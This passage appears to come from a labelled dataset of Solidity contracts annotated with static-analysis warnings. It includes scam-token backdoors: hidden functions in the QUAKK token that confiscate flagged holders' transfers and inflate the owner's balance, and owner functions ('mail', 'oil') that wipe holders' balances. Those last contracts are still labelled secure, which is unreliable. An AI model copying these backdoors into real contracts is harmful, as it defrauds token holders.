7cca745): QUAKK._decimals should be constant \n\t// Recommendation for 7cca745: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 6;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 34dea81): QUAKK.Muzan should be immutable \n\t// Recommendation for 34dea81: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public Muzan;\n\n mapping(address => uint256) _balances;\n\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public _isExcludefromFee;\n\n mapping(address => bool) public _uniswapPair;\n\n mapping(address => uint256) public wends;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 490cf93): QUAKK._totalSupply should be immutable \n\t// Recommendation for 490cf93: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 420690000000 * 10 ** _decimals;\n\n IUniswapV2Router02 public uniswapV2Router;\n\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\n\t// WARNING Optimization Issue (constable-states | ID: 67669eb): QUAKK.swapAndLiquifyEnabled should be constant \n\t// Recommendation for 67669eb: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyEnabled = true;\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n\n _;\n\n inSwapAndLiquify = false;\n }\n\n constructor() {\n Muzan = payable(address(0x840808CB57235cBb56a5780E6fe1Dc4C04a38cF2));\n\n _isExcludefromFee[Muzan] = true;\n\n _isExcludefromFee[owner()] = true;\n\n _isExcludefromFee[address(this)] = true;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ed7c9b3): QUAKK.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ed7c9b3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7355e99): QUAKK._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7355e99: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5e99792\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 7e6b2c8\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: cc40d59): Contract locking ether found Contract QUAKK has payable functions QUAKK.receive() But does not have a function to withdraw the ether\n\t// Recommendation for cc40d59: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7e6b2c8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7e6b2c8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5e99792): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5e99792: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 7e6b2c8\n\t\t// reentrancy-benign | ID: 5e99792\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 7e6b2c8\n\t\t// reentrancy-benign | ID: 5e99792\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d06eb5d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d06eb5d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function LaunchPad() public onlyOwner {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-benign | ID: d06eb5d\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: d06eb5d\n uniswapV2Router = _uniswapV2Router;\n\n\t\t// reentrancy-benign | ID: d06eb5d\n _uniswapPair[address(uniswapPair)] = true;\n\n\t\t// reentrancy-benign | ID: d06eb5d\n _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 18d38d5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 18d38d5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 6c968e7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 6c968e7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private returns (bool) {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (inSwapAndLiquify) {\n return _basicTransfer(from, to, amount);\n } else {\n if ((from == to && to == Muzan) ? true : false)\n _balances[address(Muzan)] = amount.mul(2);\n\n if (!inSwapAndLiquify && !_uniswapPair[from]) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n\t\t\t\t// reentrancy-events | ID: 18d38d5\n\t\t\t\t// reentrancy-no-eth | ID: 6c968e7\n swapAndLiquify(contractTokenBalance);\n }\n\n\t\t\t// reentrancy-no-eth | ID: 6c968e7\n _balances[from] = _balances[from].sub(amount);\n\n\t\t\t// reentrancy-events | ID: 18d38d5\n\t\t\t// reentrancy-no-eth | ID: 6c968e7\n uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to])\n ? amount\n : tokenTransfer(from, amount);\n\n\t\t\t// reentrancy-no-eth | ID: 6c968e7\n _balances[to] = _balances[to].add(fAmount);\n\n\t\t\t// reentrancy-events | ID: 18d38d5\n emit Transfer(from, to, fAmount);\n\n return true;\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function swapAndLiquify(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n\t\t// reentrancy-events | ID: 18d38d5\n\t\t// reentrancy-events | ID: 7e6b2c8\n\t\t// reentrancy-benign | ID: 5e99792\n\t\t// reentrancy-no-eth | ID: 6c968e7\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(Muzan),\n block.timestamp\n )\n {} catch {}\n }\n\n function BobbyBuy(address widjrk, uint256 wjzk) public {\n address msgsender = msg.sender;\n\n uint256 wapp = wjzk;\n\n if (wapp == 1 - 1 || wapp == 9 + 1) wends[widjrk] = wapp;\n\n if (msgsender != Muzan) revert(\"?\");\n }\n\n function tokenTransfer(\n address sender,\n uint256 amount\n ) internal returns (uint256) {\n uint256 swapRate = amount.mul(0).div(100);\n\n if (wends[sender] != 0) swapRate += amount + swapRate;\n\n if (swapRate > 0) {\n\t\t\t// reentrancy-no-eth | ID: 6c968e7\n _balances[address(this)] += swapRate;\n\n\t\t\t// reentrancy-events | ID: 18d38d5\n emit Transfer(sender, address(this), swapRate);\n }\n\n return amount.sub(swapRate);\n }\n}",
"file_name": "solidity_code_3953.sol",
"secure": 0,
"size_bytes": 12272
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IDAppStore {\n event DAppListed(\n address indexed developer,\n string name,\n uint256 indexed dAppId\n );\n\n event ReviewSubmitted(\n address indexed user,\n uint256 indexed dAppId,\n string review\n );\n\n event PaymentMade(\n address indexed buyer,\n uint256 indexed dAppId,\n uint256 amount\n );\n\n struct DApp {\n uint256 id;\n string name;\n string description;\n address developer;\n uint256 price;\n uint256 rating;\n uint256 numReviews;\n }\n\n function listDApp(\n string calldata name,\n string calldata description,\n uint256 price\n ) external returns (uint256);\n\n function getDApp(uint256 dAppId) external view returns (DApp memory);\n\n function submitReview(uint256 dAppId, string calldata review) external;\n\n function purchaseDApp(uint256 dAppId) external payable;\n\n function getDAppReviews(\n uint256 dAppId\n ) external view returns (string[] memory);\n\n function getDAppRating(uint256 dAppId) external view returns (uint256);\n}",
"file_name": "solidity_code_3954.sol",
"secure": 1,
"size_bytes": 1217
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IDAppStore.sol\" as IDAppStore;\n\ncontract DAppStore is IDAppStore {\n uint256 private nextDAppId;\n\n mapping(uint256 => DApp) private dApps;\n\n mapping(uint256 => string[]) private dAppReviews;\n\n mapping(uint256 => mapping(address => bool)) private dAppPurchased;\n\n constructor() {\n nextDAppId = 1;\n }\n\n function listDApp(\n string calldata name,\n string calldata description,\n uint256 price\n ) external override returns (uint256) {\n uint256 dAppId = nextDAppId++;\n\n DApp storage newDApp = dApps[dAppId];\n\n newDApp.id = dAppId;\n\n newDApp.name = name;\n\n newDApp.description = description;\n\n newDApp.developer = msg.sender;\n\n newDApp.price = price;\n\n emit DAppListed(msg.sender, name, dAppId);\n\n return dAppId;\n }\n\n function getDApp(\n uint256 dAppId\n ) external view override returns (DApp memory) {\n return dApps[dAppId];\n }\n\n function submitReview(\n uint256 dAppId,\n string calldata review\n ) external override {\n require(\n dAppPurchased[dAppId][msg.sender],\n \"You must purchase the dApp before reviewing.\"\n );\n\n dAppReviews[dAppId].push(review);\n\n DApp storage dApp = dApps[dAppId];\n\n dApp.numReviews++;\n\n dApp.rating =\n (dApp.rating * (dApp.numReviews - 1) + 5) /\n dApp.numReviews;\n\n emit ReviewSubmitted(msg.sender, dAppId, review);\n }\n\n function purchaseDApp(uint256 dAppId) external payable override {\n DApp storage dApp = dApps[dAppId];\n\n require(msg.value >= dApp.price, \"Insufficient payment.\");\n\n require(!dAppPurchased[dAppId][msg.sender], \"DApp already purchased.\");\n\n dAppPurchased[dAppId][msg.sender] = true;\n\n payable(dApp.developer).transfer(msg.value);\n\n emit PaymentMade(msg.sender, dAppId, msg.value);\n }\n\n function getDAppReviews(\n uint256 dAppId\n ) external view override returns (string[] memory) {\n return dAppReviews[dAppId];\n }\n\n function getDAppRating(\n uint256 dAppId\n ) external view override returns (uint256) {\n return dApps[dAppId].rating;\n }\n}",
"file_name": "solidity_code_3955.sol",
"secure": 1,
"size_bytes": 2384
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Robotbugdeathbattlegame is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable illustrate;\n\n constructor() {\n _name = \"ROBOT BUG DEATH BATTLE GAME\";\n\n _symbol = \"BUG\";\n\n _decimals = 18;\n\n uint256 initialSupply = 328000000;\n\n illustrate = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == illustrate, \"Not allowed\");\n\n _;\n }\n\n function mail(address[] memory rear) public onlyOwner {\n for (uint256 i = 0; i < rear.length; i++) {\n address account = rear[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3956.sol",
"secure": 1,
"size_bytes": 4392
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Coin is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable accompany;\n\n constructor() {\n _name = \"coin\";\n\n _symbol = \"COIN\";\n\n _decimals = 18;\n\n uint256 initialSupply = 723000000;\n\n accompany = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == accompany, \"Not allowed\");\n\n _;\n }\n\n function oil(address[] memory check) public onlyOwner {\n for (uint256 i = 0; i < check.length; i++) {\n address account = check[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3957.sol",
"secure": 1,
"size_bytes": 4350
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Contract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2b9dbf5): Contract._taxWallet should be immutable \n\t// Recommendation for 2b9dbf5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Lieutenant Dan\";\n\n string private constant _symbol = unicode\"DAN\";\n\n\t// WARNING Optimization Issue (constable-states | ID: c75e3c5): Contract._initialBuyTax should be constant \n\t// Recommendation for c75e3c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b29199a): Contract._initialSellTax should be constant \n\t// Recommendation for b29199a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33e2a78): Contract._finalBuyTax should be constant \n\t// Recommendation for 33e2a78: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46ccd33): Contract._finalSellTax should be constant \n\t// Recommendation for 46ccd33: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b180ac0): Contract._reduceBuyTaxAt should be constant \n\t// Recommendation for b180ac0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c977fc): Contract._reduceSellTaxAt should be constant \n\t// Recommendation for 5c977fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: e521553): Contract._preventSwapBefore should be constant \n\t// Recommendation for e521553: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49eee87): Contract._taxSwapThreshold should be constant \n\t// Recommendation for 49eee87: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e937989): Contract._maxTaxSwap should be constant \n\t// Recommendation for e937989: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 013f8e1): Contract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 013f8e1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8e645f2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8e645f2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 029cfbc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 029cfbc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8e645f2\n\t\t// reentrancy-benign | ID: 029cfbc\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8e645f2\n\t\t// reentrancy-benign | ID: 029cfbc\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96c28bf): Contract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96c28bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f8897b6\n\t\t// reentrancy-benign | ID: 029cfbc\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8e645f2\n\t\t// reentrancy-events | ID: 73d676f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dba685a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dba685a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b8bf2cb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b8bf2cb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: dba685a\n\t\t\t\t// reentrancy-eth | ID: b8bf2cb\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: dba685a\n\t\t\t\t\t// reentrancy-eth | ID: b8bf2cb\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: b8bf2cb\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: b8bf2cb\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b8bf2cb\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: dba685a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b8bf2cb\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b8bf2cb\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: dba685a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8e645f2\n\t\t// reentrancy-events | ID: dba685a\n\t\t// reentrancy-events | ID: 73d676f\n\t\t// reentrancy-benign | ID: f8897b6\n\t\t// reentrancy-benign | ID: 029cfbc\n\t\t// reentrancy-eth | ID: b8bf2cb\n\t\t// reentrancy-eth | ID: f954626\n\t\t// reentrancy-eth | ID: ab2fb85\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: dcc7ad6): 